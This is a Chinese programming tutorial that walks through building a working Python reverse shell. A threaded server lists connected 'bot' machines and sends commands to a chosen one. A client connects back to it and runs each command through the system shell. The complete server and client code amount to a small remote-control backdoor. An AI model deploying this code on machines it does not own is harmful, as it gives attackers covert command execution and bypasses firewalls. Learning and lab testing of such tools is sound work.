介绍
在本项目中,你将学习如何使用 Python 创建一个反向 Shell(Reverse Shell),它可以让你控制多台受控机器(通常被称为「肉鸡」或「机器人」)。与传统的 Shell 不同,反向 Shell 是由受控端主动发起连接到控制端,这使得即使目标处于防火墙或网络地址转换(NAT)之后,也能实现远程主机管理。这种方法在网络安全实践中被广泛用于渗透测试,以及以安全的方式管理受控环境。
在深入实现之前,理解反向 Shell 应用背后的基础概念至关重要,包括客户机/服务器(C/S)架构和传输控制协议(TCP)。
C/S 架构涉及请求服务的客户端和提供服务的服务器。在我们的案例中,受控端充当发起连接到服务器的客户端,从而允许我们远程在它们上面执行命令。
我们将使用 TCP 协议在服务器和客户端之间进行可靠的、面向连接的通信。TCP 确保数据准确且按顺序传输,这对于执行命令和接收响应而不产生错误至关重要。
👀 预览

🎯 任务
在本项目中,你将学习:
- 如何理解作为网络通信基础的客户机/服务器(C/S)架构和传输控制协议(TCP)。
- 如何搭建一个监听多个客户端(受控端)传入连接的服务器。
- 如何编写连接到服务器并执行所接收命令的客户端脚本。
- 如何在服务器上实现命令执行和结果检索功能,以便与连接的客户端进行交互。
- 如何同时管理多个客户端连接,并在它们之间切换以发布命令。
🏆 成就
完成本项目后,你将能够:
- 掌握用于可靠网络通信的客户机/服务器模型和 TCP 基础知识。
- 使用 Python 实现一个支持多客户端的反向 Shell 服务器。
- 编写能够连接到远程服务器并执行服务器发送命令的客户端脚本。
- 在受控环境中处理多个连接并管理与多个客户端的通信。
- 应用网络编程的实践经验,并理解其在网络安全和远程系统管理中的应用。
初始化服务器类
在名为 server.py 的文件中,首先构建 Server 类的基本结构。
import socket
import threading
class Server:
def __init__(self, host='0.0.0.0', port=7676):
self.host = host
self.port = port
self.clients = []
self.current_client = None
self.exit_flag = False
self.lock = threading.Lock()
Server 类旨在创建一个可以处理多个客户端连接的服务器,在反向 Shell 应用的语境下,这些客户端通常被称为「受控端」。让我们拆解初始化方法(__init__)中定义的组件和功能:
- 导入语句:
import socket:导入 Python 内置的socket模块,它提供了网络通信所需的功能。套接字(Socket)是双向通信通道的端点,可用于与客户端建立连接并通信。import threading:导入threading模块,允许在一个进程中创建多个线程。这对于同时处理多个客户端连接而不阻塞服务器主执行流至关重要。
- 类定义:
class Server::这一行定义了Server类,它封装了反向 Shell 服务端操作所需的功能。
- 初始化方法(
__init__):def __init__(self, host='0.0.0.0', port=7676)::此方法初始化Server类的新实例。它有两个带默认值的参数:host='0.0.0.0':默认主机地址 '0.0.0.0' 用于指定服务器应监听所有网络接口。这使得服务器可以从机器可能拥有的任何 IP 地址访问。port=7676:这是服务器监听传入连接的默认端口号。端口号用于区分运行在同一台机器上的不同服务。选择端口号 7676 是随机的,可以根据用户的偏好或需求进行更改。
- 实例变量:
self.host:存储服务器监听传入连接的主机地址。self.port:存储服务器监听的端口号。self.clients = []:初始化一个空列表来跟踪已连接的客户端。每个连接的客户端都将添加到此列表中,使服务器能够管理多个客户端并与之通信。self.current_client = None:此变量用于跟踪当前选定的客户端(如果有),以便发送命令或接收数据。self.exit_flag = False:此标志用于控制服务器的主循环。将此标志设置为True将通知服务器优雅地关闭。self.lock = threading.Lock():创建一个线程锁对象,这是一种同步原语。锁用于确保一次只有一个线程可以访问或修改共享资源,从而防止竞态条件并确保数据完整性。
启动 TCP 服务器
实现 run 方法以启动服务器并监听连接。
## 在 server.py 中继续
def run(self):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
server_socket.bind((self.host, self.port))
server_socket.listen(10)
print(f"Server listening on port {self.port}...")
connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,))
connection_thread.start()
while not self.exit_flag:
if self.clients:
self.select_client()
self.handle_client()
run 方法是 Server 类中启动 TCP 服务器并开始监听来自客户端(反向 Shell 语境下的「受控端」)传入连接的部分。以下是该方法中发生的事情的拆解:
- 创建套接字:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket::这一行使用with语句创建一个新的套接字,确保套接字在不再需要时自动关闭。socket.AF_INET参数指定套接字将使用 IPv4 寻址,socket.SOCK_STREAM表示它是一个 TCP 套接字,提供可靠的、面向连接的通信。
- 绑定套接字:
server_socket.bind((self.host, self.port)):bind方法将套接字与特定的网络接口和端口号关联起来。在这种情况下,它将套接字绑定到Server实例的host和port属性,准备在该地址和端口上监听传入连接。
- 监听连接:
server_socket.listen(10):这一行告诉套接字开始监听传入连接。参数10指定了在服务器开始拒绝新连接之前,排队连接的最大数量(积压量)。这并不限制并发连接的总数,只是限制了有多少连接可以等待接受。
- 启动服务器消息:
print(f"Server listening on port {self.port}..."):向控制台打印一条消息,表明服务器已启动并运行,正在指定端口上监听连接。
- 处理传入连接:
connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,)):这一行初始化一个新的Thread对象,将其目标设置为self.wait_for_connections方法,并将server_socket作为参数。该方法(未在代码片段中显示)旨在循环中持续接受传入连接并将其添加到self.clients列表中。connection_thread.start():启动线程,在单独的执行线程中调用self.wait_for_connections方法。这允许服务器继续执行run方法的其余部分,而不会在等待连接时发生阻塞。
- 服务器主循环:
while not self.exit_flag::只要self.exit_flag保持为False,此循环就会继续执行。在此循环中,服务器可以执行诸如管理已连接客户端或处理服务器命令之类的任务。if self.clients::检查self.clients列表中是否有任何已连接的客户端。self.select_client():一个方法(未在代码片段中显示),可能允许服务器操作员选择一个已连接的客户端进行交互。这可能涉及向客户端发送命令或接收数据。self.handle_client():另一个方法(未显示),可能负责处理与所选客户端的交互。这可能涉及从服务器操作员处读取命令,将其发送给客户端,并显示客户端的响应。
这种结构使服务器能够以非阻塞方式监听和管理多个客户端连接,使用线程并发处理连接接受和客户端管理。
接受传入连接
添加 wait_for_connections 方法,在单独的线程上管理传入的客户端连接。
## 在 server.py 中继续
def wait_for_connections(self, server_socket):
while not self.exit_flag:
client_socket, client_address = server_socket.accept()
print(f"New connection from {client_address[0]}")
with self.lock:
self.clients.append((client_socket, client_address))
wait_for_connections 方法旨在持续监听并接受服务器上的传入客户端连接。此方法旨在运行在单独的线程上,允许服务器执行其他任务(如与已连接的客户端交互),而不会被 accept 调用阻塞,因为 accept 会一直等待新连接。以下是详细拆解:
- 持续监听循环:
while not self.exit_flag::只要self.exit_flag为False,此循环就会一直运行。此标志的作用是提供一种受控的方式来停止服务器,包括这个监听循环。当self.exit_flag设置为True时,循环将终止,从而有效地停止服务器接受新连接。
- 接受连接:
client_socket, client_address = server_socket.accept():accept方法等待传入连接。当客户端连接时,它返回一个新的套接字对象(client_socket)代表该连接,以及一个包含客户端 IP 地址和端口号的元组(client_address)。这一行会阻塞线程的执行,直到收到新的连接。
- 连接通知:
print(f"New connection from {client_address[0]}"):一旦接受了新连接,控制台就会打印一条消息,显示新连接客户端的 IP 地址。这对于日志记录和监控非常有用。
- 线程安全的客户端管理:
with self.lock::这使用了一个线程锁(self.lock),在代码块开始时获取锁,并在结束时自动释放。锁的作用是确保对共享资源(在本例中是self.clients列表)的线程安全访问。在多线程环境中,这对于防止数据损坏并确保一致性至关重要。self.clients.append((client_socket, client_address)):在受保护的代码块内,该方法将新客户端的套接字和地址作为元组添加到self.clients列表中。此列表跟踪所有已连接的客户端,允许服务器稍后与它们分别进行交互。
此方法确保服务器可以与其他任务并发处理传入连接,安全地管理已连接客户端列表以供进一步交互。在并发环境中使用线程和锁对于维持性能和数据完整性至关重要。
实现客户端交互功能
实现用于选择已连接客户端并与之交互的功能。
## 在 server.py 中继续
def select_client(self):
print("Available clients:")
for index, (_, addr) in enumerate(self.clients):
print(f"[{index}]-> {addr[0]}")
index = int(input("Select a client by index: "))
self.current_client = self.clients[index]
def handle_client(self):
client_socket, client_address = self.current_client
while True:
command = input(f"{client_address[0]}:~## ")
if command == '!ch':
break
if command == '!q':
self.exit_flag = True
print("Exiting server...")
break
client_socket.send(command.encode('utf-8'))
response = client_socket.recv(1024)
print(response.decode('utf-8'))
select_client 和 handle_client 函数是在反向 Shell 服务器环境中与已连接客户端交互的关键组件。以下是每个函数的工作原理:
select_client 函数
此函数负责列出所有当前连接的客户端,并允许服务器操作员选择一个进行交互:
print("Available clients:"):显示一条消息,表明接下来是可用客户端列表。for index, (_, addr) in enumerate(self.clients)::遍历self.clients列表,该列表包含客户端套接字和地址的元组。_是客户端套接字的占位符,在此上下文中不需要它,而addr是客户端地址。enumerate函数为每个项目添加一个索引。print(f"[{index}]-> {addr[0]}"):对于每个客户端,打印索引和客户端的 IP 地址。这使得操作员可以轻松查看有多少以及哪些客户端已连接。index = int(input("Select a client by index: ")):提示服务器操作员输入他们希望交互的客户端索引。此输入被转换为整数并存储在index中。self.current_client = self.clients[index]:将self.current_client设置为与所选索引对应的客户端元组(套接字和地址)。此客户端将成为后续命令的目标。
handle_client 函数
此函数有助于向所选客户端发送命令并接收响应:
client_socket, client_address = self.current_client:将self.current_client元组解包为client_socket和client_address。while True::进入无限循环,允许服务器操作员持续向客户端发送命令,直到输入特殊命令。command = input(f"{client_address[0]}:~## "):提示服务器操作员输入命令。提示符中包含当前客户端的 IP 地址以示清晰。if command == '!ch'::检查是否输入了特殊命令!ch,这是切换当前客户端的信号。如果是,则跳出循环,允许服务器操作员选择新客户端。if command == '!q'::检查是否输入了退出服务器的命令(!q)。如果是,则将self.exit_flag设置为True以终止服务器循环,并跳出客户端处理循环。client_socket.send(command.encode('utf-8')):将输入的命令发送给客户端。命令使用 UTF-8 编码为字节,因为网络通信要求数据以字节形式传输。response = client_socket.recv(1024):等待并接收来自客户端的响应。recv(1024)调用指定最多读取 1024 字节。对于较大的响应,这可能需要调整或在循环中处理。print(response.decode('utf-8')):使用 UTF-8 解码接收到的字节响应并打印。这向服务器操作员显示了在客户端机器上执行命令的结果。
这些函数共同使服务器操作员能够管理多个连接的客户端,向选定的客户端发布命令并查看其响应,这是反向 Shell 服务器的基础功能。
运行服务器
添加入口点以实例化并运行服务器。
## 在 server.py 中继续
if __name__ == "__main__":
server = Server()
server.run()
脚本的这一部分在执行脚本时启动服务器,使其能够接受并管理来自客户端的连接。
创建客户端
接下来,让我们创建客户端(受控端)。客户端将连接到服务器并执行接收到的命令。
在 client.py 中,添加以下内容:
import socket
import subprocess
import sys
import time
def connect_to_server(host, port):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.connect((host, port))
while True:
command = sock.recv(1024).decode('utf-8')
result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output = result.stdout.decode(sys.getfilesystemencoding())
sock.send(output.encode('utf-8'))
time.sleep(1)
if __name__ == "__main__":
HOST, PORT = "127.0.0.1", 7676
connect_to_server(HOST, PORT)
client.py 脚本概述了客户端(或反向 Shell 语境下的「受控端」)如何连接到服务器并处理传入命令。以下是分步说明:
def connect_to_server(host, port)::定义一个函数,接收主机名和端口号以连接到服务器。with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock::使用 IPv4 寻址(AF_INET)和 TCP(SOCK_STREAM)创建一个套接字对象,确保在退出with块后自动关闭。sock.connect((host, port)):发起连接到指定主机和端口的服务器。while True::进入无限循环,持续监听来自服务器的命令。command = sock.recv(1024).decode('utf-8'):等待接收来自服务器的命令,最多读取 1024 字节。接收到的字节随后使用 UTF-8 解码回字符串。result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE):使用系统 Shell 执行接收到的命令。stdout=subprocess.PIPE和stderr=subprocess.PIPE分别捕获命令的标准输出和标准错误。output = result.stdout.decode(sys.getfilesystemencoding()):使用文件系统的编码将命令执行的输出从字节解码为字符串,这确保了系统文件系统特有的字符能被正确解释。sock.send(output.encode('utf-8')):将命令执行结果发送回服务器,将其编码为 UTF-8 以将字符串转换回适合网络传输的字节。time.sleep(1):在监听下一个命令之前暂停执行 1 秒。这通常用于防止客户端因快速、连续的请求而使网络或服务器过载。
这个客户端脚本有效地将运行它的机器变成了一个「受控端」,它连接到指定的服务器,等待命令,执行命令并返回结果。这种设置在网络安全实践的受控环境中非常典型,例如渗透测试实验室,研究人员在那里模拟攻击和防御,以更好地理解和改进安全措施。
测试设置
最后,让我们测试一下反向 Shell 设置,确保它按预期工作。
运行服务器
首先,在一个终端窗口中运行 server.py 脚本:
python server.py
运行客户端
打开另一个独立的终端窗口:

运行 client.py 脚本:
python client.py
执行命令
回到服务器终端:

你应该能够选择已连接的客户端并执行命令。例如,尝试列出目录内容:
ls /
你应该能在服务器终端中看到在客户端机器上执行 ls / 命令的输出。

总结
在本项目中,你学习了如何利用客户机/服务器架构和 TCP 通信,使用 Python 实现一个基础的反向 Shell。你搭建了一个监听客户端(受控端)连接并向其发送命令的服务器。这项技术是网络编程和网络安全中的一项基础技能,展示了 Python 在管理远程系统方面的强大功能和灵活性。



